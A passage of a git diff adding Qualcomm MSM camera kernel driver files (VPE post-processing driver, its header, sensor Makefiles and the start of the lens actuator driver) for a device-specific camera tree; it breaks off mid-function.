VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO: { + uint32_t identity; + struct msm_vpe_buff_queue_info_t *buff_queue_info; + + VPE_DBG("VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO\n"); + if (ioctl_ptr->len != sizeof(uint32_t)) { + pr_err("%s:%d Invalid len\n", __func__, __LINE__); + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + + rc = (copy_from_user(&identity, + (void __user *)ioctl_ptr->ioctl_ptr, + ioctl_ptr->len) ? -EFAULT : 0); + if (rc) { + pr_err("%s:%d copy from user\n", __func__, __LINE__); + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + + buff_queue_info = msm_vpe_get_buff_queue_entry(vpe_dev, + ((identity >> 16) & 0xFFFF), (identity & 0xFFFF)); + if (buff_queue_info == NULL) { + pr_err("error finding buffer queue entry for identity:%d\n", + identity); + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + + msm_vpe_dequeue_buff_info_list(vpe_dev, buff_queue_info); + rc = msm_vpe_free_buff_queue_entry(vpe_dev, + buff_queue_info->session_id, + buff_queue_info->stream_id); + break; + } + case VIDIOC_MSM_VPE_GET_EVENTPAYLOAD: { + struct msm_device_queue *queue = &vpe_dev->eventData_q; + struct msm_queue_cmd *event_qcmd; + struct msm_vpe_frame_info_t *process_frame; + VPE_DBG("VIDIOC_MSM_VPE_GET_EVENTPAYLOAD\n"); + event_qcmd = msm_dequeue(queue, list_eventdata); + process_frame = event_qcmd->command; + VPE_DBG("fid %d\n", process_frame->frame_id); + if (copy_to_user((void __user *)ioctl_ptr->ioctl_ptr, + process_frame, + sizeof(struct msm_vpe_frame_info_t))) { + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + + kfree(process_frame); + kfree(event_qcmd); + break; + } + } + mutex_unlock(&vpe_dev->mutex); + return rc; +} + +static int msm_vpe_subscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, + struct v4l2_event_subscription *sub) +{ + return v4l2_event_subscribe(fh, sub, MAX_VPE_V4l2_EVENTS, NULL); +} + +static int msm_vpe_unsubscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, + struct v4l2_event_subscription *sub) +{ + return v4l2_event_unsubscribe(fh, sub); +} + +static struct v4l2_subdev_core_ops msm_vpe_subdev_core_ops = { + .ioctl = msm_vpe_subdev_ioctl, + .subscribe_event = msm_vpe_subscribe_event, + .unsubscribe_event = msm_vpe_unsubscribe_event, +}; + +static const struct v4l2_subdev_ops msm_vpe_subdev_ops = { + .core = &msm_vpe_subdev_core_ops, +}; + +static struct v4l2_file_operations msm_vpe_v4l2_subdev_fops; + +static long msm_vpe_subdev_do_ioctl( + struct file *file, unsigned int cmd, void *arg) +{ + struct video_device *vdev = video_devdata(file); + struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); + struct v4l2_fh *vfh = file->private_data; + + switch (cmd) { + case VIDIOC_DQEVENT: + if (!(sd->flags & V4L2_SUBDEV_FL_HAS_EVENTS)) + return -ENOIOCTLCMD; + + return v4l2_event_dequeue(vfh, arg, file->f_flags & O_NONBLOCK); + + case VIDIOC_SUBSCRIBE_EVENT: + return v4l2_subdev_call(sd, core, subscribe_event, vfh, arg); + + case VIDIOC_UNSUBSCRIBE_EVENT: + return v4l2_subdev_call(sd, core, unsubscribe_event, vfh, arg); + case VIDIOC_MSM_VPE_GET_INST_INFO: { + uint32_t i; + struct vpe_device *vpe_dev = v4l2_get_subdevdata(sd); + struct msm_camera_v4l2_ioctl_t *ioctl_ptr = arg; + struct msm_vpe_frame_info_t inst_info; + memset(&inst_info, 0, sizeof(struct msm_vpe_frame_info_t)); + for (i = 0; i < MAX_ACTIVE_VPE_INSTANCE; i++) { + if (vpe_dev->vpe_subscribe_list[i].vfh == vfh) { + inst_info.inst_id = i; + break; + } + } + if (copy_to_user( + (void __user *)ioctl_ptr->ioctl_ptr, &inst_info, + sizeof(struct msm_vpe_frame_info_t))) { + return -EINVAL; + } + } + default: + return v4l2_subdev_call(sd, core, ioctl, cmd, arg); + } + + return 0; +} + +static long msm_vpe_subdev_fops_ioctl(struct file *file, unsigned int cmd, + unsigned long arg) +{ + return video_usercopy(file, cmd, arg, msm_vpe_subdev_do_ioctl); +} + +static int vpe_register_domain(void) +{ + struct msm_iova_partition vpe_iommu_partition = { + /* TODO: verify that these are correct? */ + .start = SZ_128K, + .size = SZ_2G - SZ_128K, + }; + struct msm_iova_layout vpe_iommu_layout = { + .partitions = &vpe_iommu_partition, + .npartitions = 1, + .client_name = "camera_vpe", + .domain_flags = 0, + }; + + return msm_register_domain(&vpe_iommu_layout); +} + +static int vpe_probe(struct platform_device *pdev) +{ + struct vpe_device *vpe_dev; + int rc = 0; + + vpe_dev = kzalloc(sizeof(struct vpe_device), GFP_KERNEL); + if (!vpe_dev) { + pr_err("not enough memory\n"); + return -ENOMEM; + } + + vpe_dev->vpe_clk = kzalloc(sizeof(struct clk *) * + ARRAY_SIZE(vpe_clk_info), GFP_KERNEL); + if (!vpe_dev->vpe_clk) { + pr_err("not enough memory\n"); + rc = -ENOMEM; + goto err_free_vpe_dev; + } + + v4l2_subdev_init(&vpe_dev->msm_sd.sd, &msm_vpe_subdev_ops); + vpe_dev->msm_sd.sd.internal_ops = &msm_vpe_internal_ops; + snprintf(vpe_dev->msm_sd.sd.name, ARRAY_SIZE(vpe_dev->msm_sd.sd.name), + "vpe"); + vpe_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + vpe_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_EVENTS; + v4l2_set_subdevdata(&vpe_dev->msm_sd.sd, vpe_dev); + platform_set_drvdata(pdev, &vpe_dev->msm_sd.sd); + mutex_init(&vpe_dev->mutex); + spin_lock_init(&vpe_dev->tasklet_lock); + + vpe_dev->pdev = pdev; + + vpe_dev->mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "vpe"); + if (!vpe_dev->mem) { + pr_err("no mem resource?\n"); + rc = -ENODEV; + goto err_free_vpe_clk; + } + + vpe_dev->irq = platform_get_resource_byname(pdev, + IORESOURCE_IRQ, "vpe"); + if (!vpe_dev->irq) { + pr_err("%s: no irq resource?\n", __func__); + rc = -ENODEV; + goto err_release_mem; + } + + vpe_dev->domain_num = vpe_register_domain(); + if (vpe_dev->domain_num < 0) { + pr_err("%s: could not register domain\n", __func__); + rc = -ENODEV; + goto err_release_mem; + } + + vpe_dev->domain = + msm_get_iommu_domain(vpe_dev->domain_num); + if (!vpe_dev->domain) { + pr_err("%s: cannot find domain\n", __func__); + rc = -ENODEV; + goto err_release_mem; + } + + vpe_dev->iommu_ctx_src = msm_iommu_get_ctx("vpe_src"); + vpe_dev->iommu_ctx_dst = msm_iommu_get_ctx("vpe_dst"); + if (!vpe_dev->iommu_ctx_src || !vpe_dev->iommu_ctx_dst) { + pr_err("%s: cannot get iommu_ctx\n", __func__); + rc = -ENODEV; + goto err_release_mem; + } + + media_entity_init(&vpe_dev->msm_sd.sd.entity, 0, NULL, 0); + vpe_dev->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + vpe_dev->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_VPE; + vpe_dev->msm_sd.sd.entity.name = pdev->name; + msm_sd_register(&vpe_dev->msm_sd); + msm_vpe_v4l2_subdev_fops.owner = v4l2_subdev_fops.owner; + msm_vpe_v4l2_subdev_fops.open = v4l2_subdev_fops.open; + msm_vpe_v4l2_subdev_fops.unlocked_ioctl = msm_vpe_subdev_fops_ioctl; + msm_vpe_v4l2_subdev_fops.release = v4l2_subdev_fops.release; + msm_vpe_v4l2_subdev_fops.poll = v4l2_subdev_fops.poll; + + vpe_dev->msm_sd.sd.devnode->fops = &msm_vpe_v4l2_subdev_fops; + vpe_dev->msm_sd.sd.entity.revision = vpe_dev->msm_sd.sd.devnode->num; + vpe_dev->state = VPE_STATE_BOOT; + rc = vpe_init_hardware(vpe_dev); + if (rc < 0) { + pr_err("%s: Couldn't init vpe hardware\n", __func__); + goto err_unregister_sd; + } + vpe_reset(vpe_dev); + vpe_release_hardware(vpe_dev); + vpe_dev->state = VPE_STATE_OFF; + + rc = iommu_attach_device(vpe_dev->domain, vpe_dev->iommu_ctx_src); + if (rc < 0) { + pr_err("Couldn't attach to vpe_src context bank\n"); + rc = -ENODEV; + goto err_unregister_sd; + } + rc = iommu_attach_device(vpe_dev->domain, vpe_dev->iommu_ctx_dst); + if (rc < 0) { + pr_err("Couldn't attach to vpe_dst context bank\n"); + rc = -ENODEV; + goto err_detach_src; + } + + vpe_dev->state = VPE_STATE_OFF; + + msm_queue_init(&vpe_dev->eventData_q, "vpe-eventdata"); + msm_queue_init(&vpe_dev->processing_q, "vpe-frame"); + INIT_LIST_HEAD(&vpe_dev->tasklet_q); + tasklet_init(&vpe_dev->vpe_tasklet, msm_vpe_do_tasklet, + (unsigned long)vpe_dev); + vpe_dev->vpe_open_cnt = 0; + + return rc; + +err_detach_src: + iommu_detach_device(vpe_dev->domain, vpe_dev->iommu_ctx_src); +err_unregister_sd: + msm_sd_unregister(&vpe_dev->msm_sd); +err_release_mem: + release_mem_region(vpe_dev->mem->start, resource_size(vpe_dev->mem)); +err_free_vpe_clk: + kfree(vpe_dev->vpe_clk); +err_free_vpe_dev: + kfree(vpe_dev); + return rc; +} + +static int vpe_device_remove(struct platform_device *dev) +{ + struct v4l2_subdev *sd = platform_get_drvdata(dev); + struct vpe_device *vpe_dev; + if (!sd) { + pr_err("%s: Subdevice is NULL\n", __func__); + return 0; + } + + vpe_dev = (struct vpe_device *)v4l2_get_subdevdata(sd); + if (!vpe_dev) { + pr_err("%s: vpe device is NULL\n", __func__); + return 0; + } + + iommu_detach_device(vpe_dev->domain, vpe_dev->iommu_ctx_dst); + iommu_detach_device(vpe_dev->domain, vpe_dev->iommu_ctx_src); + msm_sd_unregister(&vpe_dev->msm_sd); + release_mem_region(vpe_dev->mem->start, resource_size(vpe_dev->mem)); + mutex_destroy(&vpe_dev->mutex); + kfree(vpe_dev); + return 0; +} + +static struct platform_driver vpe_driver = { + .probe = vpe_probe, + .remove = vpe_device_remove, + .driver = { + .name = MSM_VPE_DRV_NAME, + .owner = THIS_MODULE, + }, +}; + +static int __init msm_vpe_init_module(void) +{ + return platform_driver_register(&vpe_driver); +} + +static void __exit msm_vpe_exit_module(void) +{ + platform_driver_unregister(&vpe_driver); +} + +module_init(msm_vpe_init_module); +module_exit(msm_vpe_exit_module); +MODULE_DESCRIPTION("MSM VPE driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.h b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.h new file mode 100644 index 0000000000000..1a8508963493d --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.h @@ -0,0 +1,255 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_VPE_H__ +#define __MSM_VPE_H__ + +#include +#include +#include +#include +#include +#include "msm_sd.h" + +/*********** start of register offset *********************/ +#define VPE_INTR_ENABLE_OFFSET 0x0020 +#define VPE_INTR_STATUS_OFFSET 0x0024 +#define VPE_INTR_CLEAR_OFFSET 0x0028 +#define VPE_DL0_START_OFFSET 0x0030 +#define VPE_HW_VERSION_OFFSET 0x0070 +#define VPE_SW_RESET_OFFSET 0x0074 +#define VPE_AXI_RD_ARB_CONFIG_OFFSET 0x0078 +#define VPE_SEL_CLK_OR_HCLK_TEST_BUS_OFFSET 0x007C +#define VPE_CGC_EN_OFFSET 0x0100 +#define VPE_CMD_STATUS_OFFSET 0x10008 +#define VPE_PROFILE_EN_OFFSET 0x10010 +#define VPE_PROFILE_COUNT_OFFSET 0x10014 +#define VPE_CMD_MODE_OFFSET 0x10060 +#define VPE_SRC_SIZE_OFFSET 0x10108 +#define VPE_SRCP0_ADDR_OFFSET 0x1010C +#define VPE_SRCP1_ADDR_OFFSET 0x10110 +#define VPE_SRC_YSTRIDE1_OFFSET 0x1011C +#define VPE_SRC_FORMAT_OFFSET 0x10124 +#define VPE_SRC_UNPACK_PATTERN1_OFFSET 0x10128 +#define VPE_OP_MODE_OFFSET 0x10138 +#define VPE_SCALE_PHASEX_INIT_OFFSET 0x1013C +#define VPE_SCALE_PHASEY_INIT_OFFSET 0x10140 +#define VPE_SCALE_PHASEX_STEP_OFFSET 0x10144 +#define VPE_SCALE_PHASEY_STEP_OFFSET 0x10148 +#define VPE_OUT_FORMAT_OFFSET 0x10150 +#define VPE_OUT_PACK_PATTERN1_OFFSET 0x10154 +#define VPE_OUT_SIZE_OFFSET 0x10164 +#define VPE_OUTP0_ADDR_OFFSET 0x10168 +#define VPE_OUTP1_ADDR_OFFSET 0x1016C +#define VPE_OUT_YSTRIDE1_OFFSET 0x10178 +#define VPE_OUT_XY_OFFSET 0x1019C +#define VPE_SRC_XY_OFFSET 0x10200 +#define VPE_SRC_IMAGE_SIZE_OFFSET 0x10208 +#define VPE_SCALE_CONFIG_OFFSET 0x10230 +#define VPE_DEINT_STATUS_OFFSET 0x30000 +#define VPE_DEINT_DECISION_OFFSET 0x30004 +#define VPE_DEINT_COEFF0_OFFSET 0x30010 +#define VPE_SCALE_STATUS_OFFSET 0x50000 +#define VPE_SCALE_SVI_PARAM_OFFSET 0x50010 +#define VPE_SCALE_SHARPEN_CFG_OFFSET 0x50020 +#define VPE_SCALE_COEFF_LSP_0_OFFSET 0x50400 +#define VPE_SCALE_COEFF_MSP_0_OFFSET 0x50404 + +#define VPE_AXI_ARB_1_OFFSET 0x00408 +#define VPE_AXI_ARB_2_OFFSET 0x0040C + +#define VPE_SCALE_COEFF_LSBn(n) (0x50400 + 8 * (n)) +#define VPE_SCALE_COEFF_MSBn(n) (0x50404 + 8 * (n)) +#define VPE_SCALE_COEFF_NUM 32 + +/*********** end of register offset ********************/ + + +#define VPE_HARDWARE_VERSION 0x00080308 +#define VPE_SW_RESET_VALUE 0x00000010 /* bit 4 for PPP*/ +#define VPE_AXI_RD_ARB_CONFIG_VALUE 0x124924 +#define VPE_CMD_MODE_VALUE 0x1 +#define VPE_DEFAULT_OP_MODE_VALUE 0x40FC0004 +#define VPE_CGC_ENABLE_VALUE 0xffff +#define VPE_DEFAULT_SCALE_CONFIG 0x3c + +#define VPE_NORMAL_MODE_CLOCK_RATE 150000000 +#define VPE_TURBO_MODE_CLOCK_RATE 200000000 +#define VPE_SUBDEV_MAX_EVENTS 30 + +/**************************************************/ +/*********** End of command id ********************/ +/**************************************************/ + +#define SCALER_PHASE_BITS 29 +#define HAL_MDP_PHASE_STEP_2P50 0x50000000 +#define HAL_MDP_PHASE_STEP_1P66 0x35555555 +#define HAL_MDP_PHASE_STEP_1P25 0x28000000 + + +#define MAX_ACTIVE_VPE_INSTANCE 8 +#define MAX_VPE_PROCESSING_FRAME 2 +#define MAX_VPE_V4l2_EVENTS 30 + +#define MSM_VPE_TASKLETQ_SIZE 16 + +/** + * The format of the msm_vpe_transaction_setup_cfg is as follows: + * + * - vpe_update_scale_coef (65*4 uint32_t's) + * - Each table is 65 uint32_t's long + * - 1st uint32_t in each table indicates offset + * - Following 64 uint32_t's are the data + * + * - vpe_input_plane_config (6 uint32_t's) + * - VPE_SRC_FORMAT_OFFSET + * - VPE_SRC_UNPACK_PATTERN1_OFFSET + * - VPE_SRC_IMAGE_SIZE_OFFSET + * - VPE_SRC_YSTRIDE1_OFFSET + * - VPE_SRC_SIZE_OFFSET + * - VPE_SRC_XY_OFFSET + * + * - vpe_output_plane_config (5 uint32_t's) + * - VPE_OUT_FORMAT_OFFSET + * - VPE_OUT_PACK_PATTERN1_OFFSET + * - VPE_OUT_YSTRIDE1_OFFSET + * - VPE_OUT_SIZE_OFFSET + * - VPE_OUT_XY_OFFSET + * + * - vpe_operation_config (1 uint32_t) + * - VPE_OP_MODE_OFFSET + * + */ + +#define VPE_SCALER_CONFIG_LEN 260 +#define VPE_INPUT_PLANE_CFG_LEN 24 +#define VPE_OUTPUT_PLANE_CFG_LEN 20 +#define VPE_OPERATION_MODE_CFG_LEN 4 +#define VPE_NUM_SCALER_TABLES 4 + +#define VPE_TRANSACTION_SETUP_CONFIG_LEN ( \ + (VPE_SCALER_CONFIG_LEN * VPE_NUM_SCALER_TABLES) \ + + VPE_INPUT_PLANE_CFG_LEN \ + + VPE_OUTPUT_PLANE_CFG_LEN \ + + VPE_OPERATION_MODE_CFG_LEN) +/* VPE_TRANSACTION_SETUP_CONFIG_LEN = 1088 */ + +struct msm_vpe_transaction_setup_cfg { + uint8_t scaler_cfg[VPE_TRANSACTION_SETUP_CONFIG_LEN]; +}; + +struct vpe_subscribe_info { + struct v4l2_fh *vfh; + uint32_t active; +}; + +enum vpe_state { + VPE_STATE_BOOT, + VPE_STATE_IDLE, + VPE_STATE_ACTIVE, + VPE_STATE_OFF, +}; + +struct msm_queue_cmd { + struct list_head list_config; + struct list_head list_control; + struct list_head list_frame; + struct list_head list_pict; + struct list_head list_vpe_frame; + struct list_head list_eventdata; + void *command; + atomic_t on_heap; + struct timespec ts; + uint32_t error_code; + uint32_t trans_code; +}; + +struct msm_device_queue { + struct list_head list; + spinlock_t lock; + wait_queue_head_t wait; + int max; + int len; + const char *name; +}; + +struct msm_vpe_tasklet_queue_cmd { + struct list_head list; + uint32_t irq_status; + uint8_t cmd_used; +}; + +struct msm_vpe_buffer_map_info_t { + unsigned long len; + dma_addr_t phy_addr; + struct ion_handle *ion_handle; + struct msm_vpe_buffer_info_t buff_info; +}; + +struct msm_vpe_buffer_map_list_t { + struct msm_vpe_buffer_map_info_t map_info; + struct list_head entry; +}; + +struct msm_vpe_buff_queue_info_t { + uint32_t used; + uint16_t session_id; + uint16_t stream_id; + struct list_head vb2_buff_head; + struct list_head native_buff_head; +}; + +struct vpe_device { + struct platform_device *pdev; + struct msm_sd_subdev msm_sd; + struct v4l2_subdev subdev; + struct resource *mem; + struct resource *irq; + void __iomem *base; + struct clk **vpe_clk; + struct regulator *fs_vpe; + struct mutex mutex; + enum vpe_state state; + + int domain_num; + struct iommu_domain *domain; + struct device *iommu_ctx_src; + struct device *iommu_ctx_dst; + struct ion_client *client; + struct kref refcount; + + /* Reusing proven tasklet from msm isp */ + atomic_t irq_cnt; + uint8_t taskletq_idx; + spinlock_t tasklet_lock; + struct list_head tasklet_q; + struct tasklet_struct vpe_tasklet; + struct msm_vpe_tasklet_queue_cmd + tasklet_queue_cmd[MSM_VPE_TASKLETQ_SIZE]; + + struct vpe_subscribe_info vpe_subscribe_list[MAX_ACTIVE_VPE_INSTANCE]; + uint32_t vpe_open_cnt; + + struct msm_device_queue eventData_q; /* V4L2 Event Payload Queue */ + + /* + * Processing Queue: store frame info for frames sent to + * microcontroller + */ + struct msm_device_queue processing_q; + + struct msm_vpe_buff_queue_info_t *buff_queue; + uint32_t num_buffq; + struct v4l2_subdev *buf_mgr_subdev; +}; + +#endif /* __MSM_VPE_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile new file mode 100644 index 0000000000000..4c71db4b71f05 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile @@ -0,0 +1,20 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/msm_vb2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/camera +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/cci +obj-$(CONFIG_MSMB_CAMERA) += cci/ io/ csiphy/ csid/ actuator/ flash/ eeprom/ +obj-$(CONFIG_MSM_CAMERA_SENSOR) += msm_sensor_init.o msm_sensor_driver.o msm_sensor.o +obj-$(CONFIG_IMX132) += imx132.o +obj-$(CONFIG_IMX134) += imx134.o +obj-$(CONFIG_OV8825) += ov8825.o +obj-$(CONFIG_OV8865) += ov8865.o +obj-$(CONFIG_s5k4e1) += s5k4e1.o +obj-$(CONFIG_OV12830) += ov12830.o +obj-$(CONFIG_OV9724) += ov9724.o +obj-$(CONFIG_HI256) += hi256.o +obj-$(CONFIG_OV5648) += ov5648.o +obj-$(CONFIG_MT9M114) += mt9m114.o +obj-$(CONFIG_MT9M114) += ov5645.o +obj-$(CONFIG_SP1628) += sp1628.o +obj-$(CONFIG_GC0339) += gc0339.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile new file mode 100644 index 0000000000000..c0d607f731bac --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile @@ -0,0 +1,4 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/cci +obj-$(CONFIG_MSMB_CAMERA) += msm_actuator.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.c new file mode 100644 index 0000000000000..ae92c35b48baa --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.c @@ -0,0 +1,1146 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ + +#include +#include "msm_sd.h" +#include "msm_actuator.h" +#include "msm_cci.h" + +DEFINE_MSM_MUTEX(msm_actuator_mutex); + +/*#define MSM_ACUTUATOR_DEBUG*/ +#undef CDBG +#ifdef MSM_ACUTUATOR_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) pr_debug(fmt, ##args) +#endif + + +static int32_t msm_actuator_power_up(struct msm_actuator_ctrl_t *a_ctrl); +static int32_t msm_actuator_power_down(struct msm_actuator_ctrl_t *a_ctrl); + +static struct msm_actuator msm_vcm_actuator_table; +static struct msm_actuator msm_piezo_actuator_table; + +static struct i2c_driver msm_actuator_i2c_driver; +static struct msm_actuator *actuators[] = { + &msm_vcm_actuator_table, + &msm_piezo_actuator_table, +}; + +static int32_t msm_actuator_piezo_set_default_focus( + struct msm_actuator_ctrl_t *a_ctrl, + struct msm_actuator_move_params_t *move_params) +{ + int32_t rc = 0; + struct msm_camera_i2c_reg_setting reg_setting; + CDBG("Enter\n"); + + if (a_ctrl->curr_step_pos != 0) { + a_ctrl->i2c_tbl_index = 0; + a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, + a_ctrl->initial_code, 0, 0); + a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, + a_ctrl->initial_code, 0, 0); + reg_setting.reg_setting = a_ctrl->i2c_reg_tbl; + reg_setting.data_type = a_ctrl->i2c_data_type; + reg_setting.size = a_ctrl->i2c_tbl_index; + rc = a_ctrl->i2c_client.i2c_func_tbl-> + i2c_write_table_w_microdelay( + &a_ctrl->i2c_client, ®_setting); + if (rc < 0) { + pr_err("%s: i2c write error:%d\n", + __func__, rc); + return rc; + } + a_ctrl->i2c_tbl_index = 0; + a_ctrl->curr_step_pos = 0; + } + CDBG("Exit\n"); + return rc; +} + +static void msm_actuator_parse_i2c_params(struct msm_actuator_ctrl_t *a_ctrl, + int16_t next_lens_position, uint32_t hw_params, uint16_t delay) +{ + struct msm_actuator_reg_params_t *write_arr = a_ctrl->reg_tbl; + uint32_t hw_dword = hw_params; + uint16_t i2c_byte1 = 0, i2c_byte2 = 0; + uint16_t value = 0; + uint32_t size = a_ctrl->reg_tbl_size, i = 0; + struct msm_camera_i2c_reg_array *i2c_tbl = a_ctrl->i2c_reg_tbl; + CDBG("Enter\n"); + for (i = 0; i < size; i++) { + /* check that the index into i2c_tbl cannot grow larger that + the allocated size of i2c_tbl */ + if ((a_ctrl->total_steps + 1) < (a_ctrl->i2c_tbl_index)) { + break; + } + if (write_arr[i].reg_write_type == MSM_ACTUATOR_WRITE_DAC) { + value = (next_lens_position << + write_arr[i].data_shift) | + ((hw_dword & write_arr[i].hw_mask) >> + write_arr[i].hw_shift); + + if (write_arr[i].reg_addr != 0xFFFF) { + i2c_byte1 = write_arr[i].reg_addr; + i2c_byte2 = value; + if (size != (i+1)) { + i2c_byte2 = value & 0xFF; + CDBG("byte1:0x%x, byte2:0x%x\n", + i2c_byte1, i2c_byte2); + i2c_tbl[a_ctrl->i2c_tbl_index]. + reg_addr = i2c_byte1; + i2c_tbl[a_ctrl->i2c_tbl_index]. + reg_data = i2c_byte2; + i2c_tbl[a_ctrl->i2c_tbl_index]. + delay = 0; + a_ctrl->i2c_tbl_index++; + i++; + i2c_byte1 = write_arr[i].reg_addr; + i2c_byte2 = (value & 0xFF00) >> 8; + } + } else { + i2c_byte1 = (value & 0xFF00) >> 8; + i2c_byte2 = value & 0xFF; + } + } else { + i2c_byte1 = write_arr[i].reg_addr; + i2c_byte2 = (hw_dword & write_arr[i].hw_mask) >> + write_arr[i].hw_shift; + } + CDBG("i2c_byte1:0x%x, i2c_byte2:0x%x\n", i2c_byte1, i2c_byte2); + i2c_tbl[a_ctrl->i2c_tbl_index].reg_addr = i2c_byte1; + i2c_tbl[a_ctrl->i2c_tbl_index].reg_data = i2c_byte2; + i2c_tbl[a_ctrl->i2c_tbl_index].delay = delay; + a_ctrl->i2c_tbl_index++; + } + CDBG("Exit\n"); +} + +static int32_t msm_actuator_init_focus(struct msm_actuator_ctrl_t *a_ctrl, + uint16_t size, struct reg_settings_t *settings) +{ + int32_t rc = -EFAULT; + int32_t i = 0; + CDBG("Enter\n"); + + for (i = 0; i < size; i++) { + switch (settings[i].i2c_operation) { + case MSM_ACT_WRITE: { + switch (settings[i].data_type) { + case MSM_ACTUATOR_BYTE_DATA: + rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_write( + &a_ctrl->i2c_client, + settings[i].reg_addr, + settings[i].reg_data, + MSM_CAMERA_I2C_BYTE_DATA); + break; + case MSM_ACTUATOR_WORD_DATA: + rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_write( + &a_ctrl->i2c_client, + settings[i].reg_addr, + settings[i].reg_data, + MSM_CAMERA_I2C_WORD_DATA); + break; + default: + pr_err("Unsupport data type: %d\n", + settings[i].i2c_operation); + break; + } + break; + } + case MSM_ACT_POLL: { + switch (settings[i].data_type) { + case MSM_ACTUATOR_BYTE_DATA: + rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_poll( + &a_ctrl->i2c_client, + settings[i].reg_addr, + settings[i].reg_data, + MSM_CAMERA_I2C_BYTE_DATA); + break; + case MSM_ACTUATOR_WORD_DATA: + rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_poll( + &a_ctrl->i2c_client, + settings[i].reg_addr, + settings[i].reg_data, + MSM_CAMERA_I2C_WORD_DATA); + break; + default: + pr_err("Unsupport data type: %d\n", + settings[i].i2c_operation); + break; + } + break; + } + } + + if (0 != settings[i].delay) + msleep(settings[i].delay); + + if (rc < 0) + break; + } + + a_ctrl->curr_step_pos = 0; + CDBG("Exit\n"); + return rc; +} + +static void msm_actuator_write_focus( + struct msm_actuator_ctrl_t *a_ctrl, + uint16_t curr_lens_pos, + struct damping_params_t *damping_params, + int8_t sign_direction, + int16_t code_boundary) +{ + int16_t next_lens_pos = 0; + uint16_t damping_code_step = 0; + uint16_t wait_time = 0; + CDBG("Enter\n"); + + damping_code_step = damping_params->damping_step; + wait_time = damping_params->damping_delay; + + /* Write code based on damping_code_step in a loop */ + for (next_lens_pos = + curr_lens_pos + (sign_direction * damping_code_step); + (sign_direction * next_lens_pos) <= + (sign_direction * code_boundary); + next_lens_pos = + (next_lens_pos + + (sign_direction * damping_code_step))) { + a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, + next_lens_pos, damping_params->hw_params, wait_time); + curr_lens_pos = next_lens_pos; + } + + if (curr_lens_pos != code_boundary) { + a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, + code_boundary, damping_params->hw_params, wait_time); + } + CDBG("Exit\n"); +} + +static int32_t msm_actuator_piezo_move_focus( + struct msm_actuator_ctrl_t *a_ctrl, + struct msm_actuator_move_params_t *move_params) +{ + int32_t dest_step_position = move_params->dest_step_pos; + struct damping_params_t ringing_params_kernel; + int32_t rc = 0; + int32_t num_steps = move_params->num_steps; + struct msm_camera_i2c_reg_setting reg_setting; + CDBG("Enter\n"); + + if (copy_from_user(&ringing_params_kernel, + &(move_params->ringing_params[0]), + sizeof(struct damping_params_t))) { + pr_err("copy_from_user failed\n"); + return -EFAULT; + } + + if (num_steps == 0) + return rc; + + a_ctrl->i2c_tbl_index = 0; + a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, + (num_steps * + a_ctrl->region_params[0].code_per_step), + 